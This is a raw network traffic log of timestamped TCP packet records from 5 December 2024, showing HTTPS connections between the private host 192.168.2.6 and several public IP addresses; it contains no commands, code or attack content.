Dec 5, 2024 14:01:56.086245060 CET	49832	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.086253881 CET	443	49832	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.086349964 CET	49832	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.088192940 CET	443	49825	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.088213921 CET	443	49825	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.088259935 CET	49825	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.088270903 CET	443	49825	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.088300943 CET	49825	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.088320971 CET	49825	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.094805956 CET	443	49825	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.094821930 CET	443	49825	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.094890118 CET	49825	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.094901085 CET	443	49825	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.095016956 CET	49825	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.098020077 CET	443	49831	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.098038912 CET	443	49831	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.098109961 CET	49831	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.098124981 CET	443	49831	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.098174095 CET	49831	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.102385998 CET	443	49825	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.102401972 CET	443	49825	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.102469921 CET	49825	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.102478981 CET	443	49825	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.102686882 CET	49825	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.109733105 CET	443	49825	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.109749079 CET	443	49825	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.109805107 CET	49825	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.109817982 CET	443	49825	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.109869003 CET	49825	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.117204905 CET	443	49825	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.117222071 CET	443	49825	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.117289066 CET	49825	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.117297888 CET	443	49825	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.117440939 CET	49825	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.117763042 CET	443	49829	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.117784023 CET	443	49829	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.117850065 CET	49829	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.117862940 CET	443	49829	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.117903948 CET	49829	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.117912054 CET	49829	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.119683981 CET	443	49831	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.119700909 CET	443	49831	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.119774103 CET	49831	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.119781971 CET	443	49831	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.119874001 CET	49831	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.124912977 CET	443	49825	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.124929905 CET	443	49825	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.124986887 CET	49825	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.124994040 CET	443	49825	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.125370979 CET	49825	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.128047943 CET	443	49829	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.128067017 CET	443	49829	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.128132105 CET	49829	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.128140926 CET	443	49829	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.128192902 CET	49829	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.134489059 CET	443	49831	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.134506941 CET	443	49831	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.134567022 CET	49831	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.134574890 CET	443	49831	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.134735107 CET	49831	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.138772011 CET	443	49829	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.138794899 CET	443	49829	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.138871908 CET	49829	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.138880968 CET	443	49829	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.138930082 CET	49829	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.146378040 CET	443	49831	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.146395922 CET	443	49831	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.146456003 CET	49831	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.146465063 CET	443	49831	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.146502972 CET	49831	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.149570942 CET	443	49829	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.149589062 CET	443	49829	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.149658918 CET	49829	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.149667025 CET	443	49829	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.149831057 CET	49829	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.158772945 CET	443	49831	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.158790112 CET	443	49831	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.158849955 CET	49831	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.158858061 CET	443	49831	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.158910036 CET	49831	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.158987045 CET	443	49829	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.159006119 CET	443	49829	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.159050941 CET	49829	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.159060955 CET	443	49829	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.159075022 CET	49829	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.159101963 CET	49829	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.170264006 CET	443	49829	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.170280933 CET	443	49829	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.170352936 CET	49829	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.170361996 CET	443	49829	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.170420885 CET	49829	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.178054094 CET	80	49840	158.101.44.242	192.168.2.6
Dec 5, 2024 14:01:56.179637909 CET	443	49829	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.179656982 CET	443	49829	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.179718018 CET	49829	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.179725885 CET	443	49829	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.179775000 CET	49829	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.179799080 CET	49829	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.188436031 CET	443	49832	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.188462973 CET	443	49832	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.188512087 CET	49832	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.188529968 CET	443	49832	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.188560009 CET	49832	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.188596964 CET	49832	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.190246105 CET	443	49829	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.190262079 CET	443	49829	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.190373898 CET	49829	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.190381050 CET	443	49829	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.190412998 CET	49829	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.190468073 CET	49829	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.199707031 CET	443	49832	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.199724913 CET	443	49832	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.199790955 CET	49832	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.199803114 CET	443	49832	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.199842930 CET	49832	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.210299969 CET	443	49832	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.210320950 CET	443	49832	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.210383892 CET	49832	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.210395098 CET	443	49832	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.210448027 CET	49832	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.218987942 CET	443	49832	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.219012022 CET	443	49832	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.219058990 CET	49832	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.219067097 CET	443	49832	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.219101906 CET	49832	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.219116926 CET	49832	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.228823900 CET	443	49832	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.228853941 CET	443	49832	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.228907108 CET	49832	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.228916883 CET	443	49832	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.228944063 CET	49832	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.228965044 CET	49832	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.237940073 CET	443	49832	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.237957001 CET	443	49832	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.238029003 CET	49832	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.238039017 CET	443	49832	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.238123894 CET	49832	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.247945070 CET	443	49832	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.247960091 CET	443	49832	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.248027086 CET	49832	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.248037100 CET	443	49832	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.248102903 CET	49832	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.253808975 CET	443	49831	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.253834009 CET	443	49831	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.253880024 CET	49831	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.253895998 CET	443	49831	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.253923893 CET	49831	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.253947020 CET	49831	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.257489920 CET	443	49832	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.257507086 CET	443	49832	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.257549047 CET	49832	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.257558107 CET	443	49832	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.257599115 CET	49832	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.257617950 CET	49832	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.265191078 CET	443	49831	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.265208960 CET	443	49831	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.265273094 CET	49831	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.265283108 CET	443	49831	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.265336990 CET	49831	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.272196054 CET	443	49825	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.272219896 CET	443	49825	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.272263050 CET	49825	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.272278070 CET	443	49825	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.272310019 CET	49825	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.272319078 CET	49825	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.276360035 CET	443	49831	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.276377916 CET	443	49831	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.276427031 CET	49831	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.276437044 CET	443	49831	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.276463985 CET	49831	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.276484966 CET	49831	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.279198885 CET	443	49825	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.279216051 CET	443	49825	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.279273033 CET	49825	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.279284000 CET	443	49825	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.279329062 CET	49825	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.284888983 CET	443	49831	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.284904957 CET	443	49831	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.284960032 CET	49831	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.284967899 CET	443	49831	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.285016060 CET	49831	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.286848068 CET	443	49825	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.286864042 CET	443	49825	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.286921978 CET	49825	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.286930084 CET	443	49825	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.286986113 CET	49825	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.293546915 CET	443	49825	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.293567896 CET	443	49825	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.293612003 CET	49825	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.293618917 CET	443	49825	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.293661118 CET	49825	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.293678045 CET	49825	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.294529915 CET	443	49831	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.294548035 CET	443	49831	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.294616938 CET	49831	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.294630051 CET	443	49831	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.294650078 CET	49831	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.294672966 CET	49831	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.297796965 CET	443	49825	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.297890902 CET	49825	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.297898054 CET	443	49825	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.297909975 CET	443	49825	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.297971964 CET	49825	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.298801899 CET	49825	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.298815012 CET	443	49825	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.303822041 CET	443	49831	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.303842068 CET	443	49831	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.303900003 CET	49831	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.303910971 CET	443	49831	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.303932905 CET	49831	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.303950071 CET	49831	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.310744047 CET	443	49829	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.310761929 CET	443	49829	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.310806990 CET	49829	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.310817003 CET	443	49829	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.310843945 CET	49829	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.310862064 CET	49829	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.312419891 CET	443	49831	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.312437057 CET	443	49831	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.312498093 CET	49831	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.312505960 CET	443	49831	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.312608004 CET	49831	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.319320917 CET	443	49829	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.319336891 CET	443	49829	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.319399118 CET	49829	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.319407940 CET	443	49829	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.319456100 CET	49829	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.321491957 CET	443	49831	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.321508884 CET	443	49831	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.321552992 CET	49831	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.321561098 CET	443	49831	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.321599960 CET	49831	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.321614981 CET	49831	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.326612949 CET	443	49829	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.326630116 CET	443	49829	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.326684952 CET	49829	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.326693058 CET	443	49829	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.326735020 CET	49829	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.326747894 CET	49829	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.335117102 CET	443	49829	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.335139990 CET	443	49829	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.335212946 CET	49829	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.335222006 CET	443	49829	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.335256100 CET	49829	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.335274935 CET	49829	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.343516111 CET	443	49829	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.343535900 CET	443	49829	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.343592882 CET	49829	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.343601942 CET	443	49829	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.343636990 CET	49829	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.343657970 CET	49829	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.351486921 CET	443	49829	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.351505041 CET	443	49829	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.351598978 CET	49829	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.351608038 CET	443	49829	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.351768017 CET	49829	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.359901905 CET	443	49829	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.359925032 CET	443	49829	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.359976053 CET	49829	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.359986067 CET	443	49829	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.360012054 CET	49829	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.360027075 CET	49829	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.367347956 CET	443	49829	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.367393017 CET	443	49829	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.367414951 CET	49829	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.367427111 CET	443	49829	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.367455006 CET	49829	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.367455959 CET	443	49829	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.367480993 CET	49829	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.367510080 CET	49829	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.368525028 CET	49829	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.368541002 CET	443	49829	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.381695032 CET	443	49832	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.381721973 CET	443	49832	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.381766081 CET	49832	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.381782055 CET	443	49832	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.381807089 CET	49832	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.381833076 CET	49832	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.388454914 CET	443	49832	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.388477087 CET	443	49832	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.388565063 CET	49832	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.388576984 CET	443	49832	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.388628006 CET	49832	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.396389008 CET	443	49832	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.396404982 CET	443	49832	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.396496058 CET	49832	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.396505117 CET	443	49832	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.396543026 CET	49832	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.403816938 CET	443	49832	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.403835058 CET	443	49832	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.404165030 CET	49832	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.404171944 CET	443	49832	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.404530048 CET	49832	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.410425901 CET	443	49832	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.410442114 CET	443	49832	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.410480976 CET	49832	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.410490036 CET	443	49832	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.410541058 CET	49832	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.410541058 CET	49832	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.418663025 CET	443	49832	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.418680906 CET	443	49832	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.418747902 CET	443	49832	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.418760061 CET	49832	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.418770075 CET	443	49832	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.418791056 CET	49832	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.418812990 CET	49832	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.418817043 CET	443	49832	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.418832064 CET	443	49832	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.418898106 CET	49832	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.429018974 CET	49832	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.429040909 CET	443	49832	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.441302061 CET	443	49835	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:56.444690943 CET	443	49835	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:56.444751978 CET	49835	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:56.445653915 CET	443	49831	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.445683002 CET	443	49831	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.445725918 CET	49831	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.445746899 CET	443	49831	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.445768118 CET	49831	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.445790052 CET	49831	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.445967913 CET	49835	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:56.445985079 CET	443	49835	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:56.445996046 CET	49835	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:56.446002960 CET	443	49835	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:56.450788975 CET	443	49833	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:56.452119112 CET	443	49831	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.452137947 CET	443	49831	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.452219963 CET	49831	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.452235937 CET	443	49831	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.452284098 CET	49831	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.455015898 CET	49833	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:56.455024958 CET	443	49833	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:56.455167055 CET	443	49831	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.455219030 CET	49831	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.455225945 CET	443	49831	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.455248117 CET	443	49831	150.171.28.10	192.168.2.6
Dec 5, 2024 14:01:56.455287933 CET	49831	443	192.168.2.6	150.171.28.10
Dec 5, 2024 14:01:56.455662012 CET	49833	443	192.168.2.6	13.107.246.63
Dec 5, 2024 14:01:56.455672979 CET	443	49833	13.107.246.63	192.168.2.6
Dec 5, 2024 14:01:56.458492994 CET	49842	443	192.168.2.6	13.107.246.63
